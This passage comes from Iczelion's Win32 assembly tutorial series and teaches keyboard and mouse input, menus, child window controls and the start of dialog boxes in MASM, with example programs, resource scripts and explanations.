invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke TextOut,hdc,0,0,ADDR char,1
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analysis:

char WPARAM 20h ; the character the program receives from keyboard

This is the variable that will store the character received from the keyboard. Since the character is sent in WPARAM of the window procedure, we define the variable as type WPARAM for simplicity. The initial value is 20h or the space since when our window refreshes its client area the first time, there is no character input. So we want to display space instead.

.ELSEIF uMsg==WM_CHAR
push wParam
pop char
invoke InvalidateRect, hWnd,NULL,TRUE

This is added in the window procedure to handle the WM_CHAR message. It just puts the character into the variable named "char" and then calls InvalidateRect. InvalidateRect makes the specified rectangle in the client area invalid which forces Windows to send WM_PAINT message to the window procedure. Its syntax is as follows:

InvalidateRect proto hWnd:HWND,\
lpRect:DWORD,\
bErase:DWORD

lpRect is a pointer to the rectagle in the client area that we want to declare invalid. If this parameter is null, the entire client area will be marked as invalid.
bErase is a flag telling Windows if it needs to erase the background. If this flag is TRUE, then Windows will erase the backgroud of the invalid rectangle when BeginPaint is called.

So the strategy we used here is that: we store all necessary information relating to painting the client area and generate WM_PAINT message to paint the client area. Of course, the codes in WM_PAINT section must know beforehand what's expected of them. This seems a roundabout way of doing things but it's the way of Windows.
Actually we can paint the client area during processing WM_CHAR message by calling GetDC and ReleaseDC pair. There is no problem there. But the fun begins when our window needs to repaint its client area. Since the codes that paint the character are in WM_CHAR section, the window procedure will not be able to repaint our character in the client area. So the bottom line is: put all necessary data and codes that do painting in WM_PAINT. You can send WM_PAINT message from anywhere in your code anytime you want to repaint the client area.

invoke TextOut,hdc,0,0,ADDR char,1

When InvalidateRect is called, it sends a WM_PAINT message back to the window procedure. So the codes in WM_PAINT section is called. It calls BeginPaint as usual to get the handle to device context and then call TextOut which draws our character in the client area at x=0, y=0. When you run the program and press any key, you will see that character echo in the upper left corner of the client window. And when the window is minimized and maximized again, the character is still there since all the codes and data essential to repaint are all gathered in WM_PAINT section.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 7: Mouse Input

We will learn how to receive and respond to mouse input in our window procedure. The example program will wait for left mouse clicks and display a text string at the exact clicked spot in the client area.

Download the example here.

Theory:

As with keyboard input, Windows detects and sends notifications about mouse activities that are relevant to each window. Those activities include left and right clicks, mouse cursor movement over window, double clicks. Unlike keyboard input which is directed to the window that has input focus, mouse messages are sent to any window that the mouse cursor is over, active or not. In addition, there are mouse messages about the non-client area too. But most of the time, we can blissfully ignore them. We can focus on those relating to the client area.
There are two messages for each mouse button: WM_LBUTTONDOWN,WM_RBUTTONDOWN and WM_LBUTTONUP, WM_RBUTTONUP messages. For a mouse with three buttons, there are also WM_MBUTTONDOWN and WM_MBUTTONUP. When the mouse cursor moves over the client area, Windows sends WM_MOUSEMOVE messages to the window under the cursor.
A window can receive double click messages, WM_LBUTTONDBCLK or WM_RBUTTONDBCLK, if and only if its window class has CS_DBLCLKS style flag, else the window will receive only a series of mouse button up and down messages.
For all these messages, the value of lParam contains the position of the mouse. The low word is the x-coordinate, and the high word is the y-coordinate relative to upper left corner of the client area of the window. wParam indicates the state of the mouse buttons and Shift and Ctrl keys.

Example:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MouseClick db 0 ; 0=no click yet

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hitpoint POINT <>

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analysis:

.ELSEIF uMsg==WM_LBUTTONDOWN
mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax
mov eax,lParam
shr eax,16
mov hitpoint.y,eax
mov MouseClick,TRUE
invoke InvalidateRect,hWnd,NULL,TRUE

The window procedure waits for left mouse button click. When it receives WM_LBUTTONDOWN, lParam contains the coordinate of the mouse cursor in the client area. It saves the coordinate in a variable of type POINT which is defined as:

POINT STRUCT
x dd ?
y dd ?
POINT ENDS

and sets the flag, MouseClick, to TRUE, meaning that there's at least a left mouse button click in the client area.

mov eax,lParam
and eax,0FFFFh
mov hitpoint.x,eax

Since x-coordinate is the low word of lParam and the members of POINT structure are 32-bit in size, we have to zero out the high word of eax prior to storing it in hitpoint.x.

shr eax,16
mov hitpoint.y,eax

Because y-coordinate is the high word of lParam, we must put it in the low word of eax prior to storing it in hitpoint.y. We do this by shifting eax 16 bits to the right.
After storing the mouse position, we set the flag, MouseClick, to TRUE in order to let the painting code in WM_PAINT section know that there's at least a click in the client area so it can draw the string at the mouse position. Next we call InvalidateRect function to force the window to repaint its entire client area.

.IF MouseClick
invoke lstrlen,ADDR AppName
invoke TextOut,hdc,hitpoint.x,hitpoint.y,ADDR AppName,eax
.ENDIF

The painting code in WM_PAINT section must check if MouseClick is true, since when the window was created, it received a WM_PAINT message which at that time, no mouse click had occurred so it should not draw the string in the client area. We initialize MouseClick to FALSE and change its value to TRUE when an actual mouse click occurs.
If at least one mouse click has occurred, it draws the string in the client area at the mouse position. Note that it calls lstrlen to get the length of the string to display and sends the length as the last parameter of TextOut function.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 8: Menu

In this tutorial, we will learn how to incorporate a menu into our window.
Download the example 1 and example 2.

Theory:

Menu is one of the most important component in your window. Menu presents a list of services a program offers to the user. The user doesn't have to read the manual included with the program to be able to use it, he can peruse the menu to get an overview of the capability of a particular program and start playing with it immediately. Since a menu is a tool to get the user up and running quickly, you should follow the standard. Succintly put, the first two menu items should be File and Edit and the last should be Help. You can insert your own menu items between Edit and Help. If a menu item invokes a dialog box, you should append an ellipsis (...) to the menu string.
Menu is a kind of resource. There are several kinds of resources such as dialog box, string table, icon, bitmap, menu etc. Resources are described in a separated file called a resource file which normally has .rc extension. You then combine the resources with the source code during the link stage. The final product is an executable file which contains both instructions and resources.
You can write resource scripts using any text editor. They're composed of phrases which describe the appearances and other attributes of the resources used in a particular program Although you can write resource scripts with a text editor, it's rather cumbersome. A better alternative is to use a resource editor which lets you visually design resources with ease. Resource editors are usually included in compiler packages such as Visual C++, Borland C++, etc.
You describe a menu resource like this:
    MyMenu MENU
    {
    [menu list here]
    }
C programmers may recognize that it is similar to declaring a structure. MyMenu being a menu name followed by MENU keyword and menu list within curly brackets. Alternatively, you can use BEGIN and END instead of the curly brackets if you wish. This syntax is more palatable to Pascal programmers.
Menu list can be either MENUITEM or POPUP statement.
MENUITEM statement defines a menu bar which doesn't invoke a popup menu when selected.The syntax is as follows:
    MENUITEM "&text", ID [,options]
It begins by MENUITEM keyword followed by the text you want to use as menu bar string. Note the ampersand. It causes the character that follows it to be underlined. Following the text string is the ID of the menu item. The ID is a number that will be used to identify the menu item in the message sent to the window procedure when the menu item is selected. As such, each menu ID must be unique among themselves.
Options are optional. Available options are as follows:
  • GRAYED The menu item is inactive, and it does not generate a WM_COMMAND message. The text is grayed.
  • INACTIVE The menu item is inactive, and it does not generate a WM_COMMAND message. The text is displayed normally.
  • MENUBREAK This item and the following items appear on a new line of the menu.
  • HELP This item and the following items are right-justified.
You can use one of the above option or combine them with "or" operator. Beware that INACTIVE and GRAYED cannot be combined together.
POPUP statement has the following syntax:
POPUP "&text" [,options]
{
[menu list]
}
POPUP statement defines a menu bar that, when selected, drops down a list of menu items in a small popup window. The menu list can be a MENUTIEM or POPUP statement. There's a special kind of MENUITEM statement, MENUITEM SEPARATOR, which will draw a horizontal line in the popup window.
The next step after you are finished with the menu resource script is to reference it in your program.
You can do this in two different places in your program.
  • In lpszMenuName member of WNDCLASSEX structure. Say, if you have a menu named "FirstMenu", you can assigned the menu to your window like this:
        • .DATA
          MenuName db "FirstMenu",0
        ...........................
        ...........................
        .CODE
          ...........................
          mov wc.lpszMenuName, OFFSET MenuName
          ...........................
  • In menu handle parameter of CreateWindowEx like this:
        • .DATA
          MenuName db "FirstMenu",0
          hMenu HMENU ?
        ...........................
        ...........................
        .CODE
          ...........................
          invoke LoadMenu, hInst, OFFSET MenuName
          mov hMenu, eax
          invoke CreateWindowEx,NULL,OFFSET ClsName,\
          OFFSET Caption, WS_OVERLAPPEDWINDOW,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          NULL,\
          hMenu,\
          hInst,\
          NULL\
          ...........................
So you may ask, what's the difference between these two methods?
When you reference the menu in the WNDCLASSEX structure, the menu becomes the "default" menu for the window class. Every window of that class will have the same menu.
If you want each window created from the same class to have different menus, you must choose the second form. In this case, any window that is passed a menu handle in its CreateWindowEx function will have a menu that "overrides" the default menu defined in the WNDCLASSEX structure.
Next we will examine how a menu notifies the window procedure when the user selects a menu item.
When the user selects a menu item, the window procedure will receive a WM_COMMAND message. The low word of wParam contains the menu ID of the selected menu item.
Now we have sufficient information to create and use a menu. Let's do it.

Example:

The first example shows how to create and use a menu by specifying the menu name in the window class.

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0 ; The name of our menu in the resource file.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.const
IDM_TEST equ 1 ; Menu IDs
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName ; Put our menu name here
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
**************************************************************************************************************************

Menu.rc
**************************************************************************************************************************

#define IDM_TEST 1
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4

FirstMenu MENU
{
POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}
MENUITEM "&Test", IDM_TEST
}

Analysis:

Let's analyze the resource file first.
#define IDM_TEST 1 /* equal to IDM_TEST equ 1*/
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4
The above lines define the menu IDs used by the menu script. You can assign any value to the ID as long as the value is unique in the menu.

FirstMenu MENU

Declare your menu with MENU keyword.

POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}

Define a popup menu with four menu items, the third one is a menu separator.

MENUITEM "&Test", IDM_TEST

Define a menu bar in the main menu.
Next we will examine the source code.

MenuName db "FirstMenu",0 ; The name of our menu in the resource file.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0
MenuName is the name of the menu in the resource file. Note that you can define more than one menu in the resource file so you must specify which menu you want to use. The remaining three lines define the text strings to be displayed in message boxes that are invoked when the appropriate menu item is selected by the user.
IDM_TEST equ 1 ; Menu IDs
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4
Define menu IDs for use in the window procedure. These values MUST be identical to those defined in the resource file.

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF

In the window procedure, we process WM_COMMAND messages. When the user selects a menu item, the menu ID of that menu item is sended to the window procedure in the low word of wParam along with the WM_COMMAND message. So when we store the value of wParam in eax, we compare the value in ax to the menu IDs we defined previously and act accordingly. In the first three cases, when the user selects Test, Say Hello, and Say GoodBye menu items, we just display a text string in a message box.
If the user selects Exit menu item, we call DestroyWindow with the handle of our window as its parameter which will close our window.
As you can see, specifying menu name in a window class is quite easy and straightforward. However you can also use an alternate method to load a menu in your window. I won't show the entire source code here. The resource file is the same in both methods. There are some minor changes in the source file which I 'll show below.

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ; handle of our menu
Define a variable of type HMENU to store our menu handle.

invoke LoadMenu, hInst, OFFSET MenuName
mov hMenu,eax
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\
hInst,NULL

Before calling CreateWindowEx, we call LoadMenu with the instance handle and a pointer to the name of our menu. LoadMenu returns the handle of our menu in the resource file which we pass to CreateWindowEx

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 9: Child Window Controls

In this tutorial, we will explore child window controls which are very important input and output devices of our programs.

Download the example here.

Theory:

Windows provides several predefined window classes which we can readily use in our own programs. Most of the time we use them as components of a dialog box so they're usually called child window controls. The child window controls process their own mouse and keyboard messages and notify the parent window when their states have changed. They relieve the burden from programmers enormously so you should use them as much as possible. In this tutorial, I put them on a normal window just to demonstrate how you can create and use them but in reality you should put them in a dialog box.
Examples of predefined window classes are button, listbox, checkbox, radio button,edit etc.
In order to use a child window control, you must create it with CreateWindow or CreateWindowEx. Note that you don't have to register the window class since it's registered for you by Windows. The class name parameter MUST be the predefined class name. Say, if you want to create a button, you must specify "button" as the class name in CreateWindowEx. The other parameters you must fill in are the parent window handle and the control ID. The control ID must be unique among the controls. The control ID is the ID of that control. You use it to differentiate between the controls.
After the control was created, it will send messages notifying the parent window when its state has changed. Normally, you create the child windows during WM_CREATE message of the parent window. The child window sends WM_COMMAND messages to the parent window with its control ID in the low word of wParam, the notification code in the high word of wParam, and its window handle in lParam. Each child window control has different notification codes, refer to your Win32 API reference for more information.
The parent window can send commands to the child windows too, by calling SendMessage function. SendMessage function sends the specified message with accompanying values in wParam and lParam to the window specified by the window handle. It's an extremely useful function since it can send messages to any window provided you know its window handle.
So, after creating the child windows, the parent window must process WM_COMMAND messages to be able to receive notification codes from the child windows.

Example:

We will create a window which contains an edit control and a pushbutton. When you click the button, a message box will appear showing the text you typed in the edit box. There is also a menu with 4 menu items:
  1. Say Hello -- Put a text string into the edit box
  2. Clear Edit Box -- Clear the content of the edit box
  3. Get Text -- Display a message box with the text in the edit box
  4. Exit -- Close the program.
.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0
ButtonClassName db "button",0
ButtonText db "My First Button",0
EditClassName db "edit",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndButton HWND ?
hwndEdit HWND ?
buffer db 512 dup(?) ; buffer to store the text retrieved from the edit box

.const
ButtonID equ 1 ; The control ID of the button control
EditID equ 2 ; The control ID of the edit control
IDM_HELLO equ 1
IDM_CLEAR equ 2
IDM_GETTEXT equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName, \
ADDR AppName, WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT, CW_USEDEFAULT,\
300,200,NULL,NULL, hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE, ADDR EditClassName,NULL,\
WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\
ES_AUTOHSCROLL,\
50,35,200,25,hWnd,8,hInstance,NULL
mov hwndEdit,eax
invoke SetFocus, hwndEdit
invoke CreateWindowEx,NULL, ADDR ButtonClassName,ADDR ButtonText,\
WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
75,70,140,25,hWnd,ButtonID,hInstance,NULL
mov hwndButton,eax
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analysis:

Let's analyze the program.
    .ELSEIF uMsg==WM_CREATE
    invoke CreateWindowEx,WS_EX_CLIENTEDGE, \
    ADDR EditClassName,NULL,\
    WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT\
    or ES_AUTOHSCROLL,\
    50,35,200,25,hWnd,EditID,hInstance,NULL
    mov hwndEdit,eax
    invoke SetFocus, hwndEdit
    invoke CreateWindowEx,NULL, ADDR ButtonClassName,\
    ADDR ButtonText,\
    WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
    75,70,140,25,hWnd,ButtonID,hInstance,NULL
    mov hwndButton,eax
We create the controls during processing of WM_CREATE message. We call CreateWindowEx with an extra window style, WS_EX_CLIENTEDGE, which makes the client area look sunken. The name of each control is a predefined one, "edit" for edit control, "button" for button control. Next we specify the child window's styles. Each control has extra styles in addition to the normal window styles. For example, the button styles are prefixed with "BS_" for "button style", edit styles are prefixed with "ES_" for "edit style". You have to look these styles up in a Win32 API reference. Note that you put a control ID in place of the menu handle. This doesn't cause any harm since a child window control cannot have a menu.
After creating each control, we keep its handle in a variable for future use.
SetFocus is called to give input focus to the edit box so the user can type the text into it immediately.
Now comes the really exciting part. Every child window control sends notification to its parent window with WM_COMMAND.

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0

Recall that a menu also sends WM_COMMAND messages to notify the window about its state too. How can you differentiate between WM_COMMAND messages originated from a menu or a control? Below is the answer

 | Low word of wParam | High word of wParam | lParam
Menu | Menu ID | 0 | 0
Control | Control ID | Notification code | Child Window Handle

You can see that you should check lParam. If it's zero, the current WM_COMMAND message is from a menu. You cannot use wParam to differentiate between a menu and a control since the menu ID and control ID may be identical and the notification code may be zero.

.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK

You can put a text string into an edit box by calling SetWindowText. You clear the content of an edit box by calling SetWindowText with NULL. SetWindowText is a general purpose API function. You can use SetWindowText to change the caption of a window or the text on a button.
To get the text in an edit box, you use GetWindowText.

.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF

The above code snippet deals with the condition when the user presses the button. First, it checks the low word of wParam to see if the control ID matches that of the button. If it is, it checks the high word of wParam to see if it is the notification code BN_CLICKED which is sent when the button is clicked.
The interesting part is after it's certain that the notification code is BN_CLICKED. We want to get the text from the edit box and display it in a message box. We can duplicate the code in the IDM_GETTEXT section above but it doesn't make sense. If we can somehow send a WM_COMMAND message with the low word of wParam containing the value IDM_GETTEXT to our own window procedure, we can avoid code duplication and simplify our program. SendMessage function is the answer. This function sends any message to any window with any wParam and lParam we want. So instead of duplicating the code, we call SendMessage with the parent window handle, WM_COMMAND, IDM_GETTEXT, and 0. This has identical effect to selecting "Get Text" menu item from the menu. The window procedure doesn't perceive any difference between the two.
You should use this technique as much as possible to make your code more organized.
Last but not least, do not forget the TranslateMessage function in the message loop. Since you must type in some text into the edit box, your program must translate raw keyboard input into readable text. If you omit this function, you will not be able to type anything into your edit box.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 10: Dialog Box as Main Window

Now comes the really interesting part about GUI, the dialog box. In this tutorial (and the next), we will learn how to use a dialog box as our main window.

Download the first example here, the second example here.

Theory:

If you play with the examples in the previous tutorial long enough, you 'll find out that you cannot change input focus from one child window control to another with Tab key. The only way you can do that is by clicking the control you want it to gain input focus. This situation is rather cumbersome. Another thing you might notice is that I changed the background color of the parent window to gray instead of normal white as in previous examples. This is done so that the color of the child window controls can blend seamlessly with the color of the client area of the parent window. There is a way to get around this problem but it's not easy. You have to subclass all child window controls in your parent window.
The reason why such inconvenience exists is that child window controls are originally designed to work with a dialog box, not a normal window. The default color of child window controls such as a button is gray because the client area of a dialog box is normally gray so they blend into each other without any sweat on the programmer's part.
Before we get deep into the detail, we should know first what a dialog box is. A dialog box is nothing more than a normal window which is designed to work with child window controls. Windows also provides internal "dialog box manager" which is responsible for most of the keyboard logic such as shifting input focus when the user presses Tab, pressing the default pushbutton if Enter key is pressed, etc so programmers can deal with higher level tasks. Dialog boxes are primarily used as input/output devices. As such a dialog box can be considered as an input/output "black box" meaning that you don't have to know how a dialog box works internally in order to be able to use it, you only have to know how to interact with it. That's a principle of object oriented programming (OOP) called information hiding. If the black box is *perfectly* designed, the user can make use of it without any knowledge on how it operates. The catch is that the black box must be perfect, that's hard to achieve in the real world. Win32 API is also designed as a black box too.
Well, it seems we stray from our path. Let's get back to our subject. Dialog boxes are designed to reduce workload of a programmer. Normally if you put child window controls on a normal window, you have to subclass them and write keyboard logic yourself. But if you put them on a dialog box, it will handle the logic for you. You only have to know how to get the user input from the dialog box or how to send commands to it.
A dialog box is defined as a resource much the same way as a menu. You write a dialog box template describing the characteristics of the dialog box and its controls and then compile the resource script with a resource editor.
Note that all resources are put together in the same resource script file. You can use any text editor to write a dialog box template but I don't recommend it. You should use a resource editor to do the job visually since arranging child window controls on a dialog box is hard to do manually. Several excellent resource editors are available. Most of the major compiler suites include their own resource editors. You can use them to create a resource script for your program and then cut out irrelevant lines such as those related to MFC.
There are two main types of dialog box: modal and modeless. A modeless dialog box lets you change input focus to other window. The example is the Find dialog of MS Word. There are two subtypes of modal dialog box: application modal and system modal. An application modal dialog box doesn't let you change input focus to other window in the same application but you can change the input focus to the window of OTHER application. A system modal dialog box doesn't allow you to change input focus to any other window until you respond to it first.
